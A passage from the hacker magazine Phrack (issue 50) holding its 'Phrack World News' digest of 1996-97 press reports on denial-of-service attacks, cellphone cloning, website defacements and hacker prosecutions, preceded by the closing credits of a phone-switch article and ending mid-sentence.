                            mrnobody@pil.net

resources i used:

- an actual RLS machine running DCO siemens stromberg-carlson

- my mind 
- the minds of my phriends, to whom i give much thanks: 
    c-stone (is thatit?), lefty, port9, cyklonik (hope everything turns out 
    OK....), a guy named don in CA :), and ben (look at me now, m0f0)

sorry if i forgot anything or anyone that helped me... 
look out for "The DCO-CS part 2" soon...

EOF



--------------------------------------------------------------------------------


                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                     15 of 16
 

              PWN PWN PNW PNW PNW PNW PNW PNW PNW PNW PNW PWN PWN
              PWN                                             PWN
              PWN              Phrack World News              PWN
              PWN                                             PWN
              PWN        Compiled by disorder/alhambra        PWN
              PWN                                             PWN
              PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


Intro: As usual there are literally hundreds of interesting articles
       that could be put here. I have tried to narrow the focus to
       hacker/security related stuff only. Enjoy.

Sources: Access All Areas mail list:
                echo "help" | mail majordomo@access.org.uk
         CSP (run by Frosty):

         Computer Underground Digest:
                echo "subscribe cu-digest" | mail cu-digest-request@weber.ucsd.edu
         Cyberwire Dispatch:
                echo "subscribe" | mail cwd-l-request@cyberwerks.com
         Defcon Stuff:
                echo "subscribe" | mail majordomo@dis.org
         Half a dozen other mail lists, elite people who forward me
                neat shit, and various news type web pages.


Phrack World News #50 -- Index

01. Computer Attack Slows Service at New York Times' Web Site
02. [Chinese Hacker Convicted]
03. Phone 'Super Scanner' Alert
04. Computer Hacking Whiz Pleads Guilty To Electronic Break-And-Enter
05. Hackers release two upcoming U2 songs on Internet
06. Computer Crime Prompts New Parole Restrictions
07. [Evil Hacker SYN-Flood's WebCom]
08. German Police Seek 12 After Raids On Computer Gang
09. The tale of the Russian Hacker
10. Expert Warns Of Lax Security On Web
11. [Man pleads guilty to writing AOL hacking soft]
12. Hackers Hack Crack, Steal Quake
13. Hackers Sabotage Blair's Internet Image
14. Police looking into hacking of Government web site
15. Programmer Accused Of Breaking Into California State Contract Data
16. [Australian Phone Worker Rigs Radio Contest]
17. Hacker challenges `dark side' book

01. The 1997 Summer Security Conference
02. Hacking In Progress 
03. Defensive Information Warfare And Systems Assurance
04. Second International Workshop on Enterprise Security
05. DEF CON V Convention Announcement #1.00 (02.26.97)

[=-------------------------------------------------------------------------=]

title: Computer Attack Slows Service at New York Times' Web Site
author:
source: The Wall Street Journal Interactive Edition
date: November 7, 1996

   Numerous World Wide Web sites offering political information found
themselves overwhelmed by requests for election information from Tuesday
night. But the New York Times' Web site also had to deal with waves of
requests for access apparently generated by a computer hacker.

   Nancy Nielsen, a New York Times Co. spokeswoman, noted that the attacks
-- which continued Wednesday -- only slowed the Times' computers, which
were still able to serve a record number of users on Tuesday.

   The attack was similar to a September incident that virtually paralyzed
Public Access Networks Corp., or Panix, an Internet-access provider that
hosts nearly a thousand corporate Web sites. In that incident, a computer
hacker bombarded the service's computers with requests to send information.

   Such attacks, presumably generated by malicious computer programs, work
by sending repeated requests -- sometimes more than a hundred per second --
seeking to establish a connection to send or receive information. The
requests contain fake Internet addresses, which the site's computers waste
valuable resources attempting to establish contact with. This process
prevents the computers from handling legitimate requests from Internet
users for access.

   Such attacks are, in effect, similar to campaigns used by some activist
groups to flood a politician's switchboard with phone calls. So much time
is spent sorting out the bogus calls -- in this case, the hacker's false
requests for an electronic "handshake" with a site's machines -- that the
legitimate ones can't get through. The attacks can be differentiated from
heavy volume on a site because of the fake Internet addresses and the
regularity with which such requests come in.

   Attacks such as the ones directed at Panix and the New York Times
underscore a key vulnerability of the Internet.

   "This is the first major attack of a kind that I believe to be the final
Internet security problem," said William Cheswick, an Internet security
expert at the Bell Laboratories unit of Lucent Technologies Inc., in the
wake of the attack on Panix.

   Mr. Cheswick, who assisted Panix during the attacks, said at the time
that while there had been a few previous reports of such incidents, the
Panix episode was the most severe.

   Internet computers have no quick way of distinguishing a bogus request
for information from a real one, Mr. Cheswick noted. While upgrades to the
software controlling these computers could ease the problem, hackers could
respond with even more intensive attacks.

   "There's going to be the usual arms race" between better security
measures and hackers, Mr. Cheswick predicts.

   Panix tried to find the source of the attack by working backward through
the labyrinthine network of phone lines and specialized "router" computers
that form the Internet. But there is no easy way to trace such hackers, Mr.
Cheswick noted.

[=-------------------------------------------------------------------------=]

title: (none) [Chinese Hacker Convicted]
author: Magdalen Chow
source: South China Morning Post

Computer hacker who enjoyed free access to the Internet by using other
people's accounts was fined HK$125,000 (about US$16,000) in Hong Kong
Monday.

Judge Gareth Lugar-Mawson also ordered David Yip Shu-chew, 27, to pay
HK$40,400 in compensation to Hong Kong Star Internet Ltd. and HK$404
to one of the people whose accounts he had used.

The judge said he would not order Yip to pay the costs of approximately
HK$2.6 million incurred in the prosecution and investigation of the case,
but threatened him with jail if he misused the Internet again.

Yip is the first person to be charged with accessing a computer with
criminal or dishonest intent under the Crimes Ordinance.


[=-------------------------------------------------------------------------=]

title: Phone 'Super Scanner' Alert
source: The London Telegraph
date: 12th November 1996


Cellphone fraud, which already costs the British cellphone industry 200
million a year, is increasing because of a new device that makes it
easier than ever for criminals to "clone" phones, writes Aisling
Irwin.

The new "super-scanner" can soak up all the identification numbers of
vulnerable analogue phones within half a mile. Each phone contains two
numbers: its phone number and a secret verification code. When a call is
made, the phone transmits the two numbers to the nearest of a network of
base stations, which checks that the phone is legitimate before allowing
the call to go ahead.

Normally, thieves pick up the numbers as they are transmitted at the
beginning of each call. Until now, such thefts have been possible only
when victims are making calls - and stealing numbers has taken much
longer.

But the new technique, which is far more powerful, only requires mobile
phones to be switched on to obtain their identification numbers.

By sending out a signal identical to that of a real base station, the
super-scanner gets the cellphones to yield their numbers. These are
received by the scanner, passed to a computer and can then be programmed
into stolen phones.

According to the Federation of Communication Services, which represents
leading cellphone companies, the new technology has evolved over the
past few months. "Its impact is really being felt heavily," said a
spokesman. The FCS has launched a campaign to make the advertising,
sale, ownership or use of cloning equipment illegal.

Although the FCS says the technique cannot be used to clone digital
phones, New Scientist reported last week that criminals may be close to
cloning these as well. If so, the problem will be magnified because
these can be used abroad.

[=-------------------------------------------------------------------------=]

title: Computer Hacking Whiz Pleads Guilty To Electronic Break-And-Enter


ST. LOUIS (Nov 15, 1996 11:12 a.m. EST) -- A computer whiz deemed so
cunning he could control almost any computer system has accepted a plea
bargain for hacking his way into the secret files of two major
communications companies.

Christopher Schanot, 20, was linked to the Internet Liberation Front, a
group of hackers who have claimed responsibility for some high-profile
computer pranks and who decry the commercialization of cyberspace.

In exchange for a reduced sentence, Schanot pleaded guilty Thursday to
two counts of computer fraud and one count of illegal wiretapping. He
faces up to 15 years in prison and $750,000 in fines at his sentencing
on Jan. 31.

Prosecutors said Schanot broke into national computer networks and had
passwords to military computers, the credit reporting service TRW and
the phone company Sprint. They gave no indication he tried to profit
from his intrusion.

His hacking caused security breaches that companies said cost tens of
thousands of dollars to repair.

The break-ins took place between October 1994 and April 1995, when
Schanot was an honor student at a Catholic boys' school in suburban St.
Louis. He vanished after graduating in May 1995.

Authorities caught up with Schanot last March and arrested him at the
suburban Philadelphia apartment he shared with a 37-year-old woman,
Netta Gilboa, the publisher of Gray Areas. The magazine professes to
explore subject matter that is "illegal, immoral and/or controversial."

In April, Schanot was placed under 24-hour house arrest and ordered to
not even talk about computers.

Originally accused in a five-count indictment, he pleaded guilty to
charges surrounding break-ins at Southwestern Bell and Bellcore, a
communications research company owned by seven regional telephone
companies.

Mike Schanot said his son made the plea bargain only after prosecutors
threatened him with a wider range of charges.

[dis: You can find a wide variety of other article on Schanot. Check
      your favorite search engine to find them.]

[=-------------------------------------------------------------------------=]

title: Hackers release two upcoming U2 songs on Internet
source: The Associated Press


LONDON - Hackers have distributed two unreleased U2 songs on the Internet,
possibly after tapping into computers at the Irish rock group's recording
studio, the Sunday Times said. 

The songs, Discotheque and Wake Up Dead Man, have appeared on Internet sites in
at least four countries, the newspaper said. The songs are to appear on an album
scheduled for release in the spring. 

Since their illicit appearance on the Internet, the songs have also been copied
onto compact discs, the Times said. The bootleg CDs are going for $10 at street
markets in Ireland and Britain. 

"It is an infringement of our copyright," Marc Marot, managing director of
Island Records, told the Times. 

Island Records did not immediately return calls for comment Sunday. The Sunday
Times said the record company is trying to shut down the Internet sites. 

Conventional, low-tech theft of the songs has been ruled out, the newspaper
said. 

Band managers are investigating the possibility that hackers tapped into
computers at U2's Dublin studio, it said. They may have gained access through
cables that have been feeding images of the band's recording sessions to an
Internet site maintained by Island Records. 

Since 1981, U2 has sold 70 million records and grossed more than $1.5 billion. 


[=-------------------------------------------------------------------------=]

title: Computer Crime Prompts New Parole Restrictions

WASHINGTON (Dec 17, 1996 07:42 a.m. EST) -- The U.S. Parole Commission
has approved restrictions on the use of computers by certain high-risk
parolees.

The Justice Department announced Monday that the panel voted this month
to authorize such restrictions as requiring certain parolees to get
prior written approval from the commission before using an Internet
service provider, computerized bulletin board system or any public or
private computer network.

Other restrictions would: prohibit particular parolees from possessing
or using data encryption programs, require some parolees to agree to
unannounced inspection of computers by probation officers, require some
parolees to compile daily logs of computer use or to pay for equipment
to monitor their computer use.

"Unrestricted access to the Internet and other computer online services
can provide sophisticated offenders with new opportunities for crime and
criminal associations," said Edward F. Reilly Jr., commission chairman.
"We cannot ignore the possibility that such offenders may be tempted to
use computer services to repeat their crimes."

The commission noted a surge in "how-to" information on child
molestation, hate crime and the illegal use of explosives available on
the Internet and on computer online services.

[=-------------------------------------------------------------------------=]

title: (none) [Evil Hacker SYN-Flood's WebCom]

SAN FRANCISCO - The FBI says it is investigating charges that sabotage
caused a 40-hour outage last weekend on Web Communications, (WebCom) a
Silicon Valley service hosting 3,000 World Wide Web sites.
  
WebCom said it believes a hacker using a college computer network in
British, Columbia, Canada, flooded its server in San Jose with
requests for connections from phony addresses. It said the attack
ended Sunday after MCI Net, a unit of MCI Communications, blocked
telephone traffic between WebCom and CA-Net of Canada at the request
of WebCom and its local service provider.
  
WebCom Executive Vice President Thomas Leavitt said the sites the
company hosts were unreachable much of Saturday Dec. 14 and Sunday
Dec. 15, causing customers, some of who operate retail sites, to
suffer "extensive" damages,
  
"One customer said he lost about $20,000 in revenue due to a special
event that was not able to occur. Others said they lost business on
one of the busiest shopping weekends of the year," Leavitt said.
 
WebCom said the incident was due to a common type of Internet sabotage
known as "denial of service" or "SYN flood," in which a computer
hacker jams a server with requests for connections from addresses that
do not exist. These types of attacks are easy to carry out and hard to
trace, Leavitt said.
  
"You can fake where the messages are coming from," Leavitt said, and
almost any with access to the Internet and some technical
sophistication can do it.
  
Others in the industry have experienced similar attacks, WebCom said.
Public Access Networks of New York City experienced a SYN flood attack
in September.
  
WebCom, headquartered in Santa Cruz, said its own investigation helped
by three Internet service providers traced the origin of the flooding
message to a computer on a college network in British Columbia linked
to BC-Net, a local Internet service provider there.
  
Leavitt said that a network administrator at Malaspina
University-College in Nanaimo, British Columbia, has identified the
computer used for the sabotage and that it was broken into by someone
without authorized access to that computer or to the college network.
The individual has not been identified.
  
FBI spokesman George Grotz said that the FBI is working with the
information tracing the requests for connection to British Columbia
but noted the actual perpetrator may nothing to do with the college or
BC-Net. "BC-Net may just be another link in the case," he said.
  
The FBI has jurisdiction over such cases under Title 18 section 1030,
which deals with falsely perpetrating denial of service on a computer
network.
  
Leavitt said if the industry, or specifically Internet service
providers, adopt certain "source filtering" coding they can prevent
people from using one network to send messages that appear to come
from somewhere else.
  
The U.S. Department of Energy's Computer Incident Advisory Capability
has an advisory warning about SYN Floods.
 

[=-------------------------------------------------------------------------=]

title: German Police Seek 12 After Raids On Computer Gang

MUNICH, Germany (Nov 28, 1996 3:36 p.m. EST) - European police are
seeking 12 members of an international computer chip counterfeiting gang
that was smashed this week in Germany and nine other countries, Bavarian
law officials said Thursday.

The raids, part of an operation code-named "Goldfish," resulted in the
arrest of 12 others suspected of selling counterfeit Pentium chips and
pirated software programs as well as fraud, money-laundering and tax
evasion, Bavarian prosecutor Hubert Vollmann told a news conference.

Police did not release the names of the suspects.

The highly-organized ring specialized in smuggling old Intel Corp
Pentium chips into Europe and selling them as new, Vollmann said. It
also sold illegal copies of Microsoft Corp programs and counterfeit
Hercules graphics adapters, he said.

Vollmann said the ring caused damages of several millions of dollars in
lost sales.

Tuesday and Wednesday, more than 2,000 law enforcement officals
confiscated "truckloads" of files, computer disks and equipment in
Germany, France, Italy and Belgium, he said.

The raids centered on offices and apartments near Munich in southern
Germany, and in the state of North Rhine-Westphalia, Vollmann said.

Three Germans and five Asians were arrested in Germany. Four other
arrests were made in France.

The raids were the culmination of a three-year probe that began when a
Laotian businessman reported he was robbed of almost $20,000 in 1993. He
came under suspicion after two of his attackers told police they had
robbed him of 500,000 marks.

A series of unusually large bank transactions by the man's companies led
to an investigation into tax evasion and money laundering, police said.

In addition to the 12 individuals under arrest and the 12 still at
large, 16 others were arrested in the raids on charges unrelated to chip
counterfeiting, Vollmann said.

The chip counterfeiting ring operated a multi-tiered organization that
bought used 133-megahertz Pentium chips in Asia and retouched them in
Hong Kong to look like new 166- megahertz processors, Vollmann said.

The group shipped the chips to Europe by courier to avoid customs and
taxes, and sold them to personal computer companies, he said.

[=-------------------------------------------------------------------------=]

title: The tale of the Russian Hacker

Everyone wants to know how Vladimir Levin did it, writes Hugo Cornwall.
In mid-1994, as a 26-year-old computer scientist in St Petersburg, he is 
supposed to have led a gang that hacked into Citibank in New Jersey, and 
organised more than 40 wire transfers from customer accounts. Russia's 
Mafia is said to have been involved.

Levin is still denying his involvement and, for the past 21 months, he 
has been in prison in south London, fighting extradition. On Sunday, he 
speaks for the first time to Channel 4's Equinox programme.

Could Levin really be living proof of the "professional hacker" so often 
celebrated in movies, books and lurid conference presentations? Is he 
a product of a KGB school of super hackers now turned loose on the 
world as part of Russian criminal enterprise? If that turned out to be 
true, it would delight the information warriors, the cyber-SWAT teams 
set up by the US armed forces whose most recent claims on federal 
budgets have been on the basis of threats to the global information 
infrastructure. Equally pleased will be the platoons of consultants, 
the sales forces of computer companies and the organisers of high-
price exclusive conferences.

Equinox tells a different story. The programme's researchers found a 
Russian "recreational" hacker group called Megazoid. The Citibank fraud 
because a group of hackers worldwide compiled files on the VAX/VMS 
operating system, and some Russian hackers found a Citibank computer 
with which they could play and use as a free jumping-off point to 
other computers. One of them says that, for $100, he sold details to 
Levin and his friends who ran a computer import/export business. In 
reality Levin appears to have been an average-ability programmer 
with entrepreneurial ambitions.

The Citibank fraud was possible only because of a number of coincidences - 
poor security management, a group of Russian hackers getting lucky 
and their information falling into the hands entreprenurs with the 
right connections. This is the pattern of much computer crime.


[=-------------------------------------------------------------------------=]

title: Expert Warns Of Lax Security On Web
  
SAN FRANCISCO - An outspoken computer security expert, citing his
just-completed study, says up to two-thirds of certain Web sites,
including reputable institutions like banks and the media, are
vulnerable to hacker attacks.
  
Dan Farmer -- who stirred controversy in 1995 as co-author of software
dubbed SATAN that enables people with basic skills to infiltrate
computer systems -- surveyed more than 2,200 Web sites.
  
The survey released last week covered a relatively small portion of
the sprawling Web but focused on sites where security is more of a
concern.
  
Farmer probed 660 bank sites around the globe, 312 North American
online newspaper sites, 274 credit union sites, 47 U.S. federal
government sites and 451 Internet sex clubs.
  
In a summary, Farmer said that, out of his sample of about 1,700 Web
sites he selected, "over 60 percent could be broken into or
destroyed." As a control, he probed a random sample of 469 sites.
  
Farmer said he used relatively crude, non-intrusive methods and did
not actually break into the sites. He also said he would not publish
the names of the sites he surveyed.
  
"I barely electronically breathed on these (computer) hosts," he said
in his report, adding that, considering more intrusive tests, some 70
percent to 80 percent of sites may have security flaws.
 
Other computer security experts found Farmer's results credible and
authoritative, David Kennedy, director of research, education and
consulting at the National Computer Security Association, said in a
telephone interview.
  
Experts and computer industry executives said the study shed more
light on a problem well known within the industry but insufficiently
understood by the public at large.
  
The threat of hacker attacks was highlighted earlier this year when
intruders broke into the Justice Department and Central Intelligence
Agency Web sites and altered them, prompting the CIA to close its site
temporarily.
  
Farmer stressed that Web sites are being used primarily for marketing
and advertising purposes and that, although some bank sites may allow
visitors to look up balances, the sites do not provide access to
internal financial systems.
  
Deborah Triant, president of CheckPoint Software Technologies' U.S.
operating unit in Redwood City, Calif., said banks routinely keep Web
sites on separate computer systems.
  
"Our experience is the banks are so paranoid that they won't even
allow the access that they should be able to allow and would be quite
safe if you had a modern firewall" protecting their networks from
intruders, said Triant, whose company is the market leader in firewall
technology.
  
"So, if their Web site is vulnerable, that doesn't mean that anything
else at the bank is vulnerable, or that their customers' accounts or
the transactions their customers are doing are vulnerable," she said.
 
Nevertheless, with the advent of electronic commerce over the Internet
expected to gain momentum in 1997, lax security remains a critical
issue, experts said.
 
Farmer separated security flaws into two categories -- a red category
where he said a site was "essentially wide open to any potential
attacker" and a yellow category deemed less serious but with potential
for disastrous consequences.
  
Of the 660 bank sites, 68 percent were deemed vulnerable and nearly 36
percent were in the red category.
  
Some 51 percent of credit unions were vulnerable, 62 percent of the
federal sites, nearly 70 percent of newspapers and 66 percent of sex
clubs. Sites in the red category ranged from 20 percent for credit
unions to 38 percent for federal sites and 39 percent for online
newspapers.
  
Of the random sample of 469 Web sites used as the control, a far
smaller percentage -- 33 percent -- were found to be vulnerable, and
17 percent of the group was in the red category.
  
Farmer said part of the problem is that Web sites are trying to do too
much at once, increasing their complexity and making security far more
difficult to achieve.
  
But, even with security concerns, credit card transactions over the
Net are much safer than those carried out in shopping malls, said the
security association's Kennedy.
  
Farmer also said he plans to incorporate some newer testing tools into
a new version of SATAN, which stands for Security Administrator Tool
for Analyzing Networks, early next year.
  
The program enables people who manage corporate networks to locate
weaknesses and fix them. But it has been controversial because it can
also easily be used by malevolent intruders trying to cause damage.
  
Triant said there have been no reported security breaches at any of
the more than 15,000 institutions with CheckPoint network security
installed and said such precautions should provide adequate
protection.
 
[=-------------------------------------------------------------------------=]

title: (none) [Man pleads guilty to writing AOL hacking soft]
source: Reuters World ReportJanuary 8, 1997 14:55:00
 
 
     WASHINGTON, Jan 8 (Reuter) - A Yale University student pleaded guilty
Wednesday to committing computer fraud for developing a programme that
allowed him to use America Online Inc. without paying, the Justice Department
said.
     Prosecutors said Nicholas Ryan, 20 of Victor, New York, entered the
guilty plea at a federal court hearing in Alexandria, Virginia. He faces
up to five years in prison and a $250,000 fine at sentencing, scheduled at
the end of March. 
     Prosecutors said Ryan in June 1995 developed the programme, called
"AOL4FREE," and frequently used it through December 1995, avoiding having
to pay the firm's rate of $2.95 per hour.
     Ryan, who identified himself as "Happy Hardcore," also made the
programme available to other America Online users, and it circulated within
AOL chat rooms, prosecutors said. 
     As the company made changes to stop the use of the programme, Ryan
modified it and made the updated version available to other online service
users, the prosecutors said.
     They said the heaviest use of the programme took place from September
through December 1995. America Online estimated that on a single day
individuals using the programme logged onto the system about 2,000 times,
the prosecutors said. 
     The case was brought by the U.S. Attorney's office and the Justice
Department's computer crime section.


[=-------------------------------------------------------------------------=]

title: Hackers Hack Crack, Steal Quake
author: Annaliza Savage 

8:00 pm PST - Hackers broke into the Web server and file server of Crack dot
Com, a Texas gaming company, on Wednesday, stealing the source code for
id's Quake 1.01, as well as Crack's newest project, Golgatha, and older games
Abuse and Mac Abuse. 

Although the hackers left a trail that may make them easy to track, the
theft did its damage. "Quake's raw engine market value dropped several
hundred thousand dollars," said Dave Taylor, who formed Crack dot Com
after leaving id Software, where he worked on Doom and Quake. But Barrett
Alexander of id denies that the financial loss will be so great, saying
that the code for Quake's unique engine is recognizable, making it hard
for anyone to be able to use without id's knowledge. 

Crack dot Com is also worried that its unreleased techniques, developed for
Golgotha, could make their way into the hands of other game competitors, who
could copy bits of code into their own software. 

The hackers, who were able to get through the Crack's firewall, left intact a
bash-history file that recorded all their movements. They even logged onto
IRC's #quake to brag about their exploits, and made Quake's source available
on Crack dot Com's homepage (it is no longer there). 

The hackers, who identified themselves as being from the group FEH,
probably broke through Crack's firewall through their Web site. The former
editor of the now defunct hacker magazine FEH denies any knowledge of the
event, and has already posted a disclaimer.

[=-------------------------------------------------------------------------=]

title: Hackers Sabotage Blair's Internet Image
author: Robert Uhlig, Technology Correspondent
source: The Telegraph
date: 10th December 1996


The Labour Party has called for a police inquiry after computer hackers
made repeated attacks on its Internet site, replacing a picture of Tony
Blair with his Spitting Image puppet and headlining the site with "New
Labour - Same Politicians. Same Lies". 

A group of British hackers, calling itself the Digital Anarchists,
infiltrated the Labour publicity site for the second time yesterday and
said it would continue to attack the Labour Web site this week. "We're
going to keep doing it again and again until further notice. And we're
going to hit some other sites as well," a spokesman for the group said
last night.

The hackers later infiltrated the Labour site a third time, while
computer experts were attempting to rectify the second attack. The Web
site has now been closed until future notice to prevent more further
embarrassing alterations of its content.

It is believed that the hackers will attack other political parties
including the Conservatives, Liberal Democrats, Scottish National Party
and Plaid Cymru. Internet sites belonging to other public organisations,
blue-chip companies and newspapers may also be affected.

The first attack, which promised free drugs and beer to young voters,
was made on Saturday while the British hacker community was staging a
Christmas party in Manchester.

The Labour leader's response to the Budget was replaced with a live sex
show of women wearing the "demon eyes" masks seen in the Tory
advertising campaign. The hackers also changed the title "The road to
the Manifesto" to "The road to nowhere" and altered links to other parts
of the site so they read "The Labour Party sex shop".


[=-------------------------------------------------------------------------=]

title: Police looking into hacking of Government web site
author: Adeline Goh
source: The Straits Times
date: Dec 10 1996


POLICE are investigating how the Singapore government's Web site on the
Internet was modified without authorisation. 

In the incident on Sunday, someone replaced the site's contents with a
list of more than 100 user identities (IDs) of people from various
government bodies. 

Yesterday, the Commercial Crime Division (CCD) of the Criminal
Investigation Department told The Straits Times that three officers from
its computer crime team had started work on the case. 

It added that the first step would be to trace the identity of the hacker
by checking the log files of the computer in which the Web site is housed. 

These log files keep track of people who access it.

The web site -- at http://www.gov.sg -- is the on-line version of the
Singapore Government directory and has links to the Web sites of various
bodies such as the ministries. 

The original contents of the site were restored by the National Computer
Board (NCB) on Sunday afternoon. When contacted yesterday, NCB, which
maintains the computer that houses the Web site, said that the hackers did
not gain access to any government networks which contain sensitive data. 

It added that the computer where the Web site was stored did not contain
sensitive information. 

It declined to give further details about the incident, saying that it had
referred the matter to the CCD. 

Several computer experts contacted yesterday said that electronic networks
could be broken into with special computer programs. 

They are placed into a network by hackers and they capture a user's log-in
password, which can then be retrieved. 

Those contacted added that passwords which are proper English words were
easy for hackers to crack. 

This is because there are also programs which try to log on by trying
words found in English dictionaries. 

One of the experts, Mr A. I. Chow, 32, a partner in a computer firm, said
perpetrators could even impersonate computer system administrators and ask
a particular user on the network to change his password to one supplied by
them. "When the user changes his password, the hacker can then access the
network easily with the user's account." 

Those contacted said data on Internet computers could be made more secure
if system administrators allowed Web pages to be updated only during
certain times or from computers within an organisation. 

Security could also be improved, they said, if passwords were generated
randomly and refreshed constantly. 

[=-------------------------------------------------------------------------=]

title: Computer Programmer Accused Of Breaking Into California
       State Contract Data

SACRAMENTO, Calif. (Jan 17, 1997 00:36 a.m. EST) -- The Bay Area
computer programmer who was arrested for hacking into the state
Department of Information Technology computer system tapped into
confidential information dealing with nearly a half million dollars
worth of government contracts, court records show.

David Ernesto Salas of Alameda, who faces four years in prison,
allegedly told others he had obtained confidential communication between
a contractor and department officials and he was going to use it in a
lawsuit against the department, said documents on file in Sacramento
Superior Court.

Salas, 34, who is free on $50,000 bail, was arraigned Tuesday in
Sacramento on three felony counts of computer hacking, including one
count which alleges he attempted to destroy the department's computer
system after his hacking was discovered.

Although some data was lost in the crash and the department's computer
system was down for two days in September, nearly everything has been
re-created by a backup computer system. Damage was estimated about
$10,000, officials said.

The incident, however, has been an embarrassment to department officials
and is viewed with concern because Information Technology oversees $2.2
billion in computer projects throughout state government.

The department was established last year after a series of audits and
investigations showed that millions in public funds were wasted on
bungled state computer projects.

Kenneth Keller, Salas's San Francisco attorney, has said his client, who
was a subcontractor hired to develop and install the department's
computer system, will eventually be vindicated.

Keller, who couldn't be reached for comment Thursday, said last week
that Salas had permission to be using the computer.

But according to court documents, Salas lost his authority to access the
computer when he lost his contract after a dispute with another
contractor in August. Beginning shortly before 11 p.m. Sept. 25 and into
the following day, Salas gained access to the department's computer. To
this day, it is not known exactly what he did once he entered the
system.

The backup computer, unbeknownst to Salas, did capture a trail of
changed passwords that led to the highest administrative level, giving
Salas full access to the entire computer system, documents said.

"Electronic mail (E-mail) regarding state service contracts worth
approximately $400,000 between (a contractor) and DOIT resided on the
DOIT system," said a summary of the facts in the case prepared for
Salas's arrest.

Special Agent Fred Adler of the Sacramento Hi-Tech Crimes Task Force,
which arrested Salas, said Thursday the case is still under
investigation and another arrest is possible.

In his affidavit for the search warrant, Adler said on Sept. 9, Salas
told Information Technology deputy director and chief counsel Alexis
Schatten that he had contacted an attorney to initiate a lawsuit against
a competing contractor for slandering him and other subcontractors.

Adler said there were witnesses who had seen Salas "bringing up
privileged information on (his computer) screen" and that Salas had
"alluded" to others that he possessed confidential information about
Information Technology's business dealings, court records show.

Department officials told investigators that "numerous confidential
communications exist on the their system relative to procurement,
installation and maintenance of multi-million dollar, state computer
systems," the affidavit said.

"Knowledge of these communications could prove to be financially
advantageous to firms involved in these processes," the affidavit said.

Rich Halberg, department spokesman, declined to comment on the search
warrant out of fear it might jeopardize an ongoing prosecution and
investigation.

He did say, however, that the department computer system does not
contain actual contracts, but he did say that there may be E-mail
pertaining to such contracts.

"We are doing the right thing by going after this guy," Halberg said.

"It is all too common in large companies and government to not want to
go after the hacker because it is difficult to prove. Hopefully, this
guy won't be in a position to do this again to another government
agency," Halberg said.


[=-------------------------------------------------------------------------=]

title: (none) [Australian Phone Worker Rigs Radio Contest]
source: COMTEX Newswire
date: 12/10/96  7:48 PM

SYDNEY, Dec. 11 (UPI S) -- An Australian telephone company worker who won 
$50,000 Australian (U.S. $40,000) in a radio station's phone-in 
competition has been charged with fraud after allegedly hacking into the 
phone line. Brian Ronald Francis, who police say used his expertise to 
ensure he was the 10th caller in the competition, has also been charged 
with two more offenses relating to two other radio competitions he won 
this year. 
   

[=-------------------------------------------------------------------------=]

title: Hacker challenges `dark side' book
author: Simson Garfinkel

Special to the Mercury News

KEVIN Poulsen was one of the most talented "dark side hackers" ever to
phreak a phone call.

For more than two years, Poulsen lived the life of a fugitive as part
of the seedy Los Angeles underground. He made money by reprogramming
Pacific Bell's computers for pimps and escort services, re-activating
old telephone numbers and building a voice-mail network pairing
prostitutes with their johns.

And he cleaned up by messing with the phones used by Los Angeles radio
stations, rigging their call-in contests so that he would always win
the big bucks or the car.

But Poulsen got caught and he spent more than five years in jail.

Behind bars in 1993, Poulsen did what any phone phreak would do: He
picked up the pay phone and started making collect calls. But these
calls where different: they went to Jonathan Littman, a journalist in
Mill Valley who had just published a magazine article about Poulsen's
crimes and exploits and was about to write a book on the same topic.

Poulsen wanted to make sure that Littman got the story right. He felt
that Littman had made a lot of mistakes in the magazine article.

Today, Poulsen feels somewhat betrayed by the journalist to whom he
gave total access. After reading an advance copy of Littman's book,
Poulsen says Littman has twisted the truth in order to make a more
compelling story.

"Most of my complaints about Littman's book are small things," said
Poulsen, who is on parole and living in Sherman Oaks, a Los Angeles
suburb. "He has major events right but then he changes the meaning of
them by changing minor events and making up quotes."

Littman stands by his work.

The book, "The Watchman: The Twisted Life and Crimes of Serial Hacker
Kevin Poulsen," is due to be published next month by Little, Brown and
Co. It's an insider's look at the world of a criminal computer hacker,
one of the most detailed yet published.

"He was one of the first to hack the Internet and get busted for it,"
said Littman, referring to Poulsen's 1984 arrest for breaking into
university computers on the ARPAnet, predecessor to today's Internet.

"They decided not to prosecute him because he was 17" when he was
arrested, Littman said. Instead, Poulsen was hired by a Silicon Valley
defense contractor.  "It was every hacker's dream -- to commit a crime
and instead of going to jail, to get a job with what was a top think
tank and defense contractor," Littman said.

Soon, however, Poulsen was back to his old tricks -- with a vengeance,
according to the book. He started physically breaking into Pacific
Bell offices, stealing manuals and writing down passwords. Much of
what he found went into a storage locker. But Poulsen couldn't handle
his finances, and got behind in his rent.  When the locker company
broke open Poulsen's lock his stash was discovered and a trap was
laid. As the FBI closed in, Poulsen left town, a fugitive on the run.

Guilty plea

He was caught June 21, 1991, and spent nearly three years in pre-trial
detention. On June 14, 1994, in federal court in Southern California,
he pleaded guilty to seven counts of computer fraud, interception of
wire communications, mail fraud, money laundering and obstruction of
justice. He was then transferred to Northern California to face a
spying charge, based on his possession of material the government
called classified. He pleaded guilty to fraud, possession of
unauthorized access devices and fraudulent use of a Social Security
number, and was released June 4, last year.

The Watchman is Littman's second book on the computer hacker
underground. His first, "The Fugitive Game," followed the exploits of
hacker Kevin Mitnick, who was on the run and eventually caught by
computer security expert Tsutomu Shimomura and New York Times reporter
John Markoff. Shimomura and Markoff wrote their own book describing
the chase, and they both objected to Littman's version of the events.

For his part, Poulsen seems most angry about the implication of the
new book's title -- that he was somehow obsessed with eavesdropping
and largely acted alone.

Only two wiretaps

In the book, Littman has Poulsen listening to dozens of conversations
 -- even wiretapping the telephones of people trying to sell used
equipment through newspaper classified ads, to see if they are being
honest with their prices.

Poulsen insists that he wiretapped the telephones of only two people:
another hacker who was also an FBI informant and his high-school
girlfriend.

"He also reports that I obsessively followed the details of every
escort date, including details of the tricks," Poulsen says, among
other complaints. "He made that up. Totally made that up."

Littman denies making up quotes, and insists that everything in the
book was told to him by one of the participants.

"I've written a book about a very complicated story about
controversial people who had very different versions of what
happened," Littman said. "I've done the best I can to view them
objectively. Somebody else might view them differently, and the
participants obviously have a subjective perspective. My views are in
the book."

But Poulsen says that Littman's fundamental premise is flawed. "John
had a problem in writing this book," Poulsen said. "He wanted to sell
it as the troubled loner-hacker-stalker guy. The problem is I had five
co-defendants and it is hard to portray someone as a troubled loner
